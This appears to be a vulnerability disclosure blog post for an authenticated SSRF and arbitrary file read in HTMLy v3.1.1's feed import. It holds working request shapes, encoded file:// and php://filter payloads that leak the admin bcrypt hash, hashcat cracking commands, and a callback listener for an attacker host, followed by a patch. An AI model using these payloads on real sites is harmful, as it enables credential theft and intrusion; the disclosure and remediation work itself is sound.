HTMLy v3.1.1 Authenticated SSRF via get_feed() Leads to Arbitrary File Read (CVE-2026-37107)

0x01 Vulnerability Overview

CVE ID: CVE-2026-37107

Affected Version: HTMLy - v3.1.1 (and prior versions sharing the same feed import code)

Vulnerability Type: Server-Side Request Forgery (SSRF) leading to Arbitrary File Read and Information Disclosure

Protocol validation is missing in HTMLy's feed import functionality. The url POST parameter at the /admin/import endpoint is passed directly to file_get_contents() inside the get_feed() function with no scheme restriction. An authenticated attacker can supply file://, php://filter or http:// URLs to read arbitrary local files (including the admin password hash) or probe internal network services.

0x02 Root Cause Analysis

2.1 Root Cause

The get_feed() function in system/admin/admin.php is designed to fetch an RSS/Atom feed from a user-supplied URL. However, it never validates the URL scheme before calling file_get_contents(). Because PHP's stream wrapper layer treats file://, php://filter, http:// and other wrappers uniformly, any protocol supported by the PHP runtime can be triggered by a crafted url parameter.

2.2 Affected Code

// system/admin/admin.php  (get_feed(), lines 1531-1534)
$source = file_get_contents($feed_url);   // No protocol validation
$feed = new SimpleXMLElement($source);    // contents reflected in parser error
// system/htmly.php  (POST /admin/import route, lines 1772-1832)
$feed_url = $INPUT->post->str('url');     // attacker-controlled
// ...
get_feed($feed_url);                      // called twice (line 1785 / 1786)

The endpoint requires a valid admin session and a CSRF token (bound to PHPSESSID), so exploitation is authenticated (PR:H).

2.3 Impact of display_errors Configuration

The reflection channel depends on PHP's display_errors setting:

Configuration: display_errors=Off (common production default)

Reflection Channel: None

Exploitation Result: File read still executes, but the response is an empty HTTP 500; the fetched content can no longer be read back through the HTTP response. SSRF itself is unaffected — outbound requests are still issued (callback verified), so this setting only disables the in-band reflection channel and does not mitigate SSRF

Configuration: display_errors=On

Reflection Channel: SimpleXMLElement parser error in HTTP response

Exploitation Result: First 80 characters of the fetched content are echoed directly in the Warning message

Note: file:// plaintext content is reflected line by line. The first line of users/admin.ini (password = <60-char bcrypt hash> = 71 chars) fits inside the 80-character window completely, while the php://filter base64 output of the same file (180 chars) is cut off at the 80th character — so file:// is the preferred channel for full-file-line disclosure.

0x03 Environment Setup

Deploy HTMLy v3.1.1 in an isolated local environment, ensuring it is isolated from the internet.

Test Environment: http://[YOUR_LOCAL_IP]

Stack: Apache + PHP 7.3.4, WebRoot example: D:/shentou/htmly-3.1.1/

0x04 Vulnerability Reproduction

4.1 Attack Vector

Send a POST request to the feed import endpoint with a malicious scheme in the url parameter. The malicious URL must be URL-encoded. A valid admin session (PHPSESSID) and csrf_token are required.

4.2 HTTP Request Example

Step 1 - login and fetch the CSRF token:

GET /admin/import HTTP/1.1
Host: [YOUR_LOCAL_IP]
Cookie: PHPSESSID=<SESSION_ID>

# extract from HTML:
<input type="hidden" name="csrf_token" value="<CSRF_TOKEN>">

Step 2 - all exploit requests share the same request shape; only the url value changes:

POST /admin/import HTTP/1.1
Host: [YOUR_LOCAL_IP]
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<SESSION_ID>

url=<URL_ENCODED_PAYLOAD>&csrf_token=<CSRF_TOKEN>&submit=Start+Import+Feed

4.3 Reproduction Steps

  1. Path Discovery: submit url=file%3A%2F%2F%2FC%3A%2F — the file_get_contents() failure Warning reveals the absolute web root:
Warning: file_get_contents(file:///C:/): failed to open stream: No such file or directory in D:\shentou\htmly-3.1.1\system\admin\admin.php on line 1533

image

  1. Arbitrary File Read: using the web root discovered in step 1, submit url=file%3A%2F%2F%2FD%3A%2Fshentou%2Fhtmly-3.1.1%2Fconfig%2Fusers%2Fadmin.ini. The response (HTTP 200) reflects the complete first line of admin.ini in the SimpleXMLElement parser error:
Warning: SimpleXMLElement::__construct(): password = $2y$10$WviBJCqjxQPOpwLKFNTezekqAPUrAqaW/y/WSrAoN4mN6AW/Tmi8m in .../system/admin/admin.php on line 1534

Call Stack:
    6. get_feed(...) .../system/htmly.php:1785
    7. SimpleXMLElement->__construct(...) .../system/admin/admin.php:1534

image

  1. Wrapper diversity check: submit url=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3DD%3A%2Fshentou%2Fhtmly-3.1.1%2Fconfig%2Fusers%2Fadmin.ini — the base64 output is echoed in the same parser error (truncated at ~80 chars), proving arbitrary PHP wrapper reads.

image
image

  1. Hash Cracking (impact demonstration of the leaked hash):
$ echo '$2y$10$WviBJCqjxQPOpwLKFNTezekqAPUrAqaW/y/WSrAoN4mN6AW/Tmi8m' > hash.txt
$ hashcat -m 3200 hash.txt wordlist.txt --potfile-disable
$2y$10$WviBJCqjxQPOpwLKFNTezekqAPUrAqaW/y/WSrAoN4mN6AW/Tmi8m:Admin@123

$ php -r "var_dump(password_verify('Admin@123', trim(file_get_contents('D:/shentou/hash.txt'))));"
bool(true)

image

  1. SSRF out-of-band proof: start the listener below, then submit url=http%3A%2F%2F<ATTACKER>%3A9876%2Ffeed.xml; the listener receives 2 callback requests (because get_feed() is invoked twice in the import route):
# ssrf_listener.py  -  python ssrf_listener.py
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
sys.stdout.reconfigure(encoding="utf-8")

PORT = 9876
hits = 0


class H(BaseHTTPRequestHandler):
    def _log(self):
        global hits
        hits += 1
        print(f"[HIT #{hits}] {self.command} {self.path}  from {self.client_address[0]}", flush=True)

    def do_GET(self):
        self._log()
        self.send_response(200)
        self.send_header("Content-Type", "application/xml")
        self.end_headers()
        self.wfile.write(b"<?xml version='1.0'?><rss><channel><title>ok</title></channel></rss>")

    def do_POST(self):
        self._log()
        self.send_response(200)
        self.end_headers()

    def log_message(self, *a):
        pass


print(f"[*] SSRF listener listening on 0.0.0.0:{PORT}  (Ctrl+C to stop)", flush=True)
HTTPServer(("0.0.0.0", PORT), H).serve_forever()

Listener output:

[*] SSRF listener listening on 0.0.0.0:9876  (Ctrl+C to stop)
[HIT #1] GET /feed.xml  from 192.168.139.10
[HIT #2] GET /feed.xml  from 192.168.139.10

image

An HTTP listener is the preferred evidence here: it proves a complete HTTP request was issued (method, path, source IP) and preserves the double-invocation finding. If outbound HTTP is blocked, a DNSLog/OOB platform can substitute — submit url=http%3A%2F%2F<unique>.<dnslog-domain>%2Ffeed.xml; a resolved query proves the SSRF exists and shows internal network reachability — but it only proves domain resolution, not a full HTTP request, and OS DNS caching may merge the two invocations into a single query, losing the double-call evidence.

4.4 Configuration Difference Verification

Configuration: display_errors=Off

Reproduction Result: file:// payloads return HTTP 500 with empty body (Content-Length: 0) and the fetched content is no longer reflected; the http:// SSRF payload is unaffected and still triggers 2 callbacks — in-band content disclosure requires display_errors=On

Configuration: display_errors=On

Reproduction Result: HTTP 200 with full reflection of fetched content in the parser error

0x05 Vulnerability Impact

  • Arbitrary local file read through file:// and php://filter wrappers (configuration files, user databases, secrets)
  • Leaked admin bcrypt hash can be cracked offline to recover the plaintext password
  • SSRF against internal services (e.g. http://127.0.0.1:3306, http://192.168.1.100:8080) for network reconnaissance
  • Absolute path disclosure via file:// error messages
  • Prerequisite: a valid admin session (high privilege), limiting remote unauthenticated exploitation

0x06 Remediation Recommendations

6.1 Protocol Validation (Patch)

Validate the url parameter to allow only http:// and https:// before calling file_get_contents():

function get_feed($feed_url) {
    $scheme = strtolower(parse_url($feed_url, PHP_URL_SCHEME));
    if (!in_array($scheme, ['http', 'https'], true)) {
        return false; // reject non-http(s) wrappers
    }
    // additionally block loopback / private ranges for SSRF hardening
    // ...
    $source = file_get_contents($feed_url);
    // ...
}

6.2 Configuration Hardening

  • Set display_errors=Off in production so parser errors never reflect file contents
  • Disable the feed import action if not required
  • Keep HTMLy updated to the latest release

0x07 Conclusion

This issue has been successfully verified in a local test environment. When an attacker controls the url parameter of the feed import feature, the absence of scheme validation in get_feed() allows file:// and php://filter reads of arbitrary local files and arbitrary HTTP requests to internal services.

Discoverer: Feng Jiawei

Reference:

posted @ 2026-10-10 10:05  Blimey  阅读(2)  评论(0)    收藏  举报